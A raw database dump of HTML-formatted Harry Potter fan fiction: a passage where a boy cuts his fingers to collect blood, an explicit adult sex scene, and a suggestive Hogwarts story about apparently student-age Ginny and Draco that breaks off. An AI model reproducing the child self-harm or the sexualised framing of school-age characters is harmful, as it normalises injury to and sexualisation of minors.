Brandon sat in his room with a knife he snuck from the\nkitchen, he sat Indian style in the middle of his room and had a plastic cup\nplaced in front of him.&nbsp; Slowly he\npressed the knife into his finger watching as the dark colored blood seeped\nfrom his finger.&nbsp; He repeated the\nprocess on each finger squeezing the blood into the cup.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He then placed the cap on the cup and set it aside as he\nwent downstairs.&nbsp; When he got there he\nwent to the kitchen and placed the knife in the sink and ran water over it to\nwash away any blood that might have gotten on it.&nbsp; He then went back up stairs and went to his parent&#8217;s bedroom but\nonly found his mother and godfather lying on the bed asleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They were close but it didn&#8217;t look as bad to him as his\nbrothers might have thought. Slowly he crept into the attached bathroom and\nlooked threw his mothers things.&nbsp; He\ndidn&#8217;t know what he was looking for but he roamed threw everything of hers he\ncould find.&nbsp; He heard some squeaking and\nfroze but only then heard and yawn and another squeak.&nbsp; He stood there for a few more seconds then\nfigured one of them must have just shifted on the bed.&nbsp; He went to pick up Hermione&#8217;s brush when his\nelbow knocked over a glass bottle that instantly smashed on contact with the\nhard tile floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione instantly shot up at the crash and got out of\nthe bed.&nbsp; Looking at Ron who didn&#8217;t even\nphase the crash, and continued to sleep.&nbsp;\nShe walked to the Bathroom door where the noise originated.&nbsp; When she saw James on the floor scrambling\nto try and clean the mess up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;James! What in God&#8217;s name are you doing?&#8221; She demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I- I was looking for dad&#8217;s musk, I like the smell and I\nwanted to put a little on.&#8221; He lied surprised at how well he came up with\nit.&nbsp; But it was true, his father always\nsmelled like Baby lotion and erotic scents.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bought it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She reached up and took a small bottle from the tallest\ncabinet that James couldn&#8217;t reach and opened it.&nbsp; Tipping it upside down on her index finger and then rubbing the\nliquid on her son&#8217;s cheek smiling, &#8220;There you go, just like dad.&#8221;</p>\n\n<p class="MsoNormal">James smiled as his mother\nput the musk back in its place and bent down to pick up the remains of the\nbottle that broke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She noticed the sticker holding some bits of glass that\nstuck to it, <i>pink</i> from Victoria&#8217;s Secret, the perfume Harry had bought\nher for Christmas that year.&nbsp; She loved\nthe smell and so did he; there was only a squirt or two left in the bottle so\nshe really didn&#8217;t mind that it broke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She started to pick up the big pieces of Glass while\nJames brought the waist basket over to her so she could throw them away.&nbsp; As Hermione picked up a rather jagged piece\nof glass it cut the palm of her hand and it started to bleed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ouch!&#8221; She said looking at the cut, &#8220;James could you get\nme a tissue, please.&#8221; She asked him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James got up and grabbed a tissue and handed it to his\nmother, &#8220;There you go mum.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you dear.&#8221; She pressed the tissue to her hand and\ngot up, &#8220;I should have just done this the wizard way.&#8221; Pulling out her wand\nHermione cleared the floor of any glass shards that might be around and tossed\nthe tissue in the wastebasket as she placed a healing charm on her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There, good as new.&#8221; She looked at James.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How about the next time we decide to smell like dad we\nask mum first, ok.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes mum.&#8221; James said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good.&#8221; Hermione kissed James on the cheek and headed out\nof the bathroom and to her closet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James the looked in the wastebasket and snatched the\ntissue his mother used, &#8220;Good enough.&#8221; He shrugged as he walked out of the\nbathroom and back to his room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~-`*`-~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/n: well there it is! Damn\nI had to re-write that whole chapter too! Stupid floppy disks! Well I hope you\nliked it and I hope your ready for chapter 8 causes that&#8217;s going to be a REAL\ngood chapter!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I just wanted to give a\nspecial thanks to alllll my reviewers and keep up the reviews I love them!&nbsp; Thanks to everyone who gives their support\nto me! It keeps me going and wanting to work Hard!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Love you all!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(278, 1, '\n<p><b><u>Ice</u> by msscribe</b></p>\n<p><b>Summary: A story of a raging storm within a frozen forest.</b></p>\n<p><i>AN:</i> <i>I woke up at 1:00am, still annoyed at being plagarized again, \n  and I couldn&#8217;t get back to sleep until 4:30am. Good for you smut is the result. \n  And to the plagarizer (you know who you are) you may consider this my &quot;Up \n  Yours&quot; fic. But this is dedicated to Max. </i></p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>At first, I attributed the vague sounds to the icy rain blistering against \n  the solitary peak of the mountain I had sought shelter in, shortly before the \n  ice storm began.&nbsp; </p>\n<p>My shoes were full of water, my feet squelched against the leather soles, and \n  I was beginning to grow sluggish.&nbsp; At least I had found this hole in the hillside \n  to spend the night in.&nbsp; It was damp, but when the rain blew hard, there were \n  still corners that remained dry.</p>\n<p>&#8220;It&#8217;s settled then,&#8221; I said to no one, having grown used to talking only to \n  myself.</p>\n<p>Every bone in my body ached, and my scar was the only part of me that remained \n  warm, still burning from the nearness of the one I was seeking.&nbsp;&nbsp;&nbsp; I knew I \n  would find him soon, and when I did, I could finally fulfill my destiny. </p>\n<p>But as it turns out, the sound I had heard before was the wind changing, accompanied \n  by tiny feet struggling to maintain balance along the icy path.&nbsp; And it wasn&#8217;t \n  until her slight silhouette appeared through the curtain of freezing rain that \n  I knew I was no longer alone.</p>\n<p>Her eyes warmed when she saw me, and I could tell she was both surprised and \n  relieved.&nbsp; Her wet hair hung next to her flushed cheeks, and her hands were \n  blue from the cold.&nbsp; </p>\n<p>&#8220;Dumbledore told me you would be near here,&#8221; Hermione said through chattering \n  teeth, &#8220;he sent supplies for you.&#8221;</p>\n<p>She promptly removed the sack she had tied around her back and tossed it towards \n  me.&nbsp; Inside there were blankets, food, drink, and a few healing potions along \n  with a note from Dumbledore telling me that he hoped what he had sent would \n  make my night a bit warmer.&nbsp; At the time, I thought he was referring to the \n  blankets.</p>\n<p>&#8220;It&#8217;s good to see you, Hermione,&#8221; I said, grateful for the supplies and the \n  company.&nbsp; </p>\n<p>She flicked her wand, uttering a drying spell for her clothes.&nbsp; </p>\n<p>&#8220;It&#8217;s good to see you too,&#8221; she replied, pointing her wand in my direction.&nbsp; \n</p>\n<p>I closed my eyes as the warmth swept over me, vowing to remember that spell \n  from now on; as it was superior to the one I had been using.&nbsp; She sat down next \n  to me, and we both listened to the syncopated storm as it danced across the \n  top of the mountain.&nbsp; The forest was no stranger to us now, no longer the unfamiliar \n  terror it used to be.&nbsp; </p>\n<p>&#8220;I&#8217;ll have to stay here tonight.&nbsp; I don&#8217;t think this storm is stopping anytime \n  soon,&#8221; she said.&nbsp; </p>\n<p>We chatted for a while.&nbsp; We talked about the Order, about my being so close \n  to accomplishing my mission, and about being children again at Hogwarts.&nbsp; She \n  laughed as I recalled the time that Ron and I had taken the bewitched Muggle \n  car to school after missing the train.&nbsp; I had retold that story about hundred \n  times or more in the ten years since it had happened, but she still seemed to \n  find it funny.</p>\n<p>I had always liked having Hermione around.&nbsp; She gifted us with her insight \n  and her optimism.&nbsp; I told her before I left that even though I was the one sent \n  to fight the last battle, she was the one who carried the light in her eyes.&nbsp; \n  She could always see the good, even when things were as dark as they could get.</p>\n<p>We decided to share the two blankets, doubling the warmth, and as we lay there \n  drifting off to sleep we wondered out loud if we were the only ones who ever \n  bothered to listen to the rain.</p>\n<p>I woke with a start, suddenly aware that she was no longer next to me.&nbsp; Outside, \n  frozen droplets shattered on the ground like glass.&nbsp; Inside, Hermione sat a \n  few feet away, watching, almost like she was keeping guard over me.&nbsp; </p>\n<p>&#8220;Hermione?&nbsp; Are you all right?&#8221; </p>\n<p>She turned and smiled.&nbsp; Her smile was sad, slow; the ache of it went straight \n  to my soul.&nbsp; The blankets fell away from my shoulders and a rush of cool air \n  hit my chest.</p>\n<p>&#8220;I didn&#8217;t mean to wake you up, Harry.&#8221;&nbsp; Her voice had a ragged edge, like she \n  had been crying.&nbsp; &#8220;I guess I&#8217;m just worried about you.&nbsp; You&#8217;re getting so close \n  to confronting him again.&#8221;</p>\n<p>I pushed the blankets aside and moved closer to her.&nbsp; I knew she could hear \n  my breath and I couldn&#8217;t stop myself from brushing her hair away from her face.</p>\n<p>&#8220;I have to try Hermione.&nbsp; With all the evil that he&#8217;s done&#8230;I think I can defeat \n  him.&nbsp; Please don&#8217;t worry.&#8221;</p>\n<p>And she smiled at me again, still not moving.&nbsp; &#8220;I know you can, Harry.&#8221;</p>\n<p>&#8220;Thank you for coming up here.&nbsp; I really needed the supplies and you know how \n  much in debt to you I am for the hundreds of times you&#8217;ve helped me,&#8221; I said.</p>\n<p>How many years had we worked side by side, always fighting, always friends, \n  but barely brushing shoulders?&nbsp; We had spent the night together more times than \n  I could count, never once reaching over, never once asking the question that \n  lingered in our minds every time we were alone.</p>\n<p>And now I found myself kneeling in front of her, taller by at least a head, \n  a warrior going off to fight an epic battle.&nbsp;&nbsp; I was softly touching her cheek.</p>\n<p>My heart hammered away inside of it&#8217;s cage as I moved my fingers from her face \n  and let them drift down to her neck, stopping only to read her pulse, wondering \n  if she was feeling the same feverish, staccato frenzy that she had sent racing \n  through me.</p>\n<p>All the blood in my body was focused, listening, waiting for any movement from \n  her.&nbsp; </p>\n<p>I moved over the sensitive skin of her shoulders, and when she didn&#8217;t push \n  my hands away, I let them run behind her neck, then back up again, tangling \n  my hands in her soft brown, spiraled locks, claiming her parted lips in one \n  startling swoop.</p>\n<p>There were so many nights I had tried to sleep, this exact scene played out \n  to the final cut.&nbsp; I had repressed this urge, finding the idea of it even too \n  dangerous for a daydream.&nbsp; And here we were, in this place, trembling, and her \n  skin chilled and moist from the icy mist, at the edge of what I&#8217;d imagined so \n  many times before.&nbsp; </p>\n<p>Her hands rested gently on my hips, and I drew her in closer, close enough \n  now to feel the warmth beginning to rise from her own fever. Her breath was \n  sweet and hot, and when we broke our kiss, steam rose into the cold air like \n  a cloud.&nbsp; </p>\n<p>We said nothing.&nbsp; There were no words, no words to be said in a frigid forest \n  of only sense and sound.</p>\n<p>Our lips collided again, and I closed my eyes.&nbsp; I needed my other senses now.&nbsp; \n  I needed to hear the sound of her breathing, to understand the minute sensitivity \n  of every curve and dip along her waist, along her stomach&#8230;across her chest.</p>\n<p>I brushed my palms tentatively over her breasts.&nbsp; Her nipples rose to me, hard, \n  tight, and aching.&nbsp; I opened my eyes to find that hers were now tightly shut, \n  and I memorized the way her bottom lip trembled as I lowered my head to nibble \n  on it.&nbsp; She returned my kiss and drank me in like rain, taking my breath into \n  her own body.&nbsp; Her hands clung to my shoulders, melting the ice chips the wind \n  had blown onto my back, warming me again&#8230;this time without the wand.</p>\n<p>She fell into me, full body pressed against mine.&nbsp; Without warning I lay back \n  against the ground, pulling her on top of me. Our breathing became ragged, hard, \n  and heavy.&nbsp; Her eyes sparked, like two stars crashing and burning.&nbsp;&nbsp; </p>\n<p>Her hands reached down with a soft, gentle press over my pants that were now \n  stretched tight, and I was in liquid meltdown, a muddled pool of surrender, \n  unable to withstand even the slightest touch without a groan.&nbsp; This glorious \n  wild witch was pulling out the most hidden pieces of myself and wrenching them \n  free.&nbsp; Her grinding hips were beating down onto me, one hand tracing my face \n  while the other pulled at my zipper.</p>\n<p>My hands came alive, and I began to peel her shirt from her.&nbsp; She didn&#8217;t wait \n  for me to fumble with her bra, and she snapped the front open, lowering her \n  breasts over my face, dragging her nipples over my burning lips, letting me \n  nip and suck, the taste of her maddening me and making me hate the fact that \n  I had to occasionally stop to breathe.&nbsp; Her hand slipped around my cock, and \n  her gentle fingers stroked me as I raised my hips upwards, sliding in and out \n  of her grip.&nbsp; </p>\n<p>She slid down my body, taking my cock in her mouth, running her soft lips up \n  and down the length of it.&nbsp; A vibration came from my eardrums, taking over my \n  head.&nbsp; My cock emerged glistening from her lips with every thrust as I praised \n  God, praised her, and praised the storm that had kept her there.&nbsp; </p>\n<p>Holding back my release, I moved from under her.&nbsp; She seemed surprised at my \n  sudden movement, but Hermione was wild, willing, allowing anything this night.&nbsp; \n  I peeled off her pants, flinging them across the floor, and before she could \n  protest I swam down, down to the soft tangle there, my face grazing her, tasting, \n  lapping, and nipping the wet from her thighs.&nbsp; She held my head, her hands running \n  though my hair, sobbing now, with both the shock and the surprise of this happy \n  surrender.&nbsp; As my tongue tickled the hood of her clit, she cried out my name, \n  fighting her own legs to stay apart and still I pressed and pushed and wanted \n  all of her, my best friend turned lover, this burning witch split wide and moaning. \n</p>\n<p>But the storm outside wasn&#8217;t over, not yet. And neither was ours.</p>\n<p>The ice fell harder as the cold blew into the cave, but to us the night was \n  ablaze, calling our names&#8230;the trembling deep, so fucking deep that it seemed \n  the hours of endless plutonic conversation and restrained urges had been building \n  up to this, as she bucked her hips and crashed into my mouth, coming, and begging \n  me to take her completely. </p>\n<p>She gasped my name, and I echoed hers as I moved over her, sliding into her.&nbsp;&nbsp; \n  A low moan escaped from her lips and we began moving, at first slowly and easily.&nbsp; \n  <i>Too much, too much, and what I had always prayed for.</i>&nbsp; By the time we \n  began moving more quickly, rapture had overtaken us.&nbsp; Hermione was coming, and \n  bucking and taking me out over the edge with her and the storm that was raging \n  inside of me burst, a long, slow and screaming explosion&#8230;my thunder and rain \n  not ready to stop, but I got lost in the sound of the night, the sweet burn \n  of being inside of her as she held onto the blankets beneath us, her hair falling \n  into a halo around her head.&nbsp; </p>\n<p>I buried myself in Hermione&#8217;s body, feeling my sanity rip loose from its moorings \n  as the power from the raging storm roared through my veins.&nbsp; When I came, I \n  plunged myself as deeply as I could inside of her, my orgasm going on and on, \n  until I collapsed in helpless release, completing this act of worship.</p>\n<p>We lay there with our legs entangled, as incredible peace washed through us.</p>\n<p>&#8220;Goodnight, my love,&#8221; I whispered to her, knowing that from now on, I too would \n  carry the light in my eyes.</p>\n<p>And the ice still fell, but we were warm.&nbsp; We fell asleep listening to the \n  rain, our hearts beating like drums, with the forest as our silent witness&#8230;</p>\n<p style="text-align:center" align="center">~~~~~~~~~~</p>\n\n\n'),
	(279, 1, '\n\n\n\n<p class="MsoNormal">&lt;html&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;head&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;meta http-equiv=Content-Type content=&quot;text/html;\ncharset=windows-1252&quot;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;meta name=Generator content=&quot;Microsoft Word 10\n(filtered)&quot;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;title&gt;THE GAME&lt;/title&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;style&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;!--</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;/* Style Definitions */</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;p.MsoNormal, li.MsoNormal, div.MsoNormal</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {margin:0in;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; margin-bottom:.0001pt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; font-size:10.0pt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; font-family:&quot;Times New Roman&quot;;}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@page Section1</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {size:8.5in 11.0in;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; margin:1.0in 1.0in 1.0in 1.0in;}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">div.Section1</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {page:Section1;}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">--&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;/style&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;/head&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;body lang=EN-US&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;div class=Section1&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;p class=MsoNormal&gt;THE GAME&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny sighed as she stared across the great hall at Draco.\nPansy, as &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">usual was hanging all over him. But Draco wasn\'t paying\nattention to &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pansy. No, he was looking right back at Ginny.&lt;/p&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;p class=MsoNormal&gt;&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They played this game often. The loser was the person who\nbroke eye contact</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">first. &lt;/p&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;p class=MsoNormal&gt;Ginny stared into his cool eyes and\nscrunched up her &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">nose. Draco loved when she did that. He smiled at her and\nwinked. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pansy continued to chatter into his ear and he nodded at\nwhat he &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">hoped were the right places. But he rolled his eyes to\nsignal to &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny that he would like nothing better than to stuff a\nsugared plum &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">into Pansy\'s mouth to make her shut up. Ginny giggled softly\nand &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">blew him a kiss. Draco stealthily slipped his tongue out as\nif to &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">catch the kiss on it and bring it back into his mouth. He\nthen &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">smacked his lips as if he had just savored a most tasty\nmorsel. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny seeing that things were getting serious reached up and\ntook the &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">clasp out of her hair. She shook her long fiery mane until\nit fell &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">wildly onto her shoulders. Draco almost groaned out loud at\nthe &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">thought of running his hands through Ginny\'s soft locks.\nLater, he &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">reminded himself, later he would have all of her, and she\nwould love &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">every moment of it. Ginny raised an eyebrow questioning,\nwaiting for &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">his next move. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Draco Malfoy! Are you even listening to me?&quot;\nPansy\'s shrill voice &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">interrupted his fantasy. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of course Pansy.&quot; Draco replied, but refused to\nlook away from &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny. He had lost this game the last two times they\'d\nplayed and he &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">was determined to win today. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Across the table Ginny grew impatient waiting for Draco to\nmake a &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">move, so she made another one, a very drastic one. She\nsmiled &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">wickedly at him and reached for the clasp of her robe. She\nopened it &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">slightly and ran her hands over her neck and shoulders.&nbsp; She\nlet her &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">fingers wonder down to the top of her chest, where it was\nstill &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">hidden by the robe. Draco gulped and Ginny swore she could\nsee him &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">sweating from all the way across the room. She looked at him\n&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">smugly, `top that\' her look seemed to say. Draco paused for\na &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">moment, as if deep in thought. And then very slowly and\n&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">meaningfully he ran his tongue over his lips.&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny shivered subconsciously, but before she had a chance\nto retort, &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron happened to look over at his sister. &quot;Gin are you\nall right? Are you &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">ill or something?&quot; He asked taking in her flushed face\nand half-&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">opened robe. Before Ginny could stop herself her face flew\ntoward &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\'s. 